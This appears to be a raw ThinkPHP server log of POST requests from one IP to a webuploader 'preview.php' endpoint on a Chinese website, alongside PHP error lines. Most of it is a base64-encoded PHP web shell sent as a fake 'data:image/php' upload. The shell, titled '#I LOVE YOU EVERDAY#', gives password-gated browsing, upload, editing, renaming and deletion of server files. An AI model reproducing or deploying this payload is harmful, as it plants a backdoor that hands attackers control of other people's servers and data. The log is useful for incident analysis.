Q0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:21+08:00 ] 119.42.146.234 POST 51tianwei.com/web/static//webuploader/0.1.15/server/preview.php [运行时间:0.002655s] [吞吐率:376.64req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'web', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aC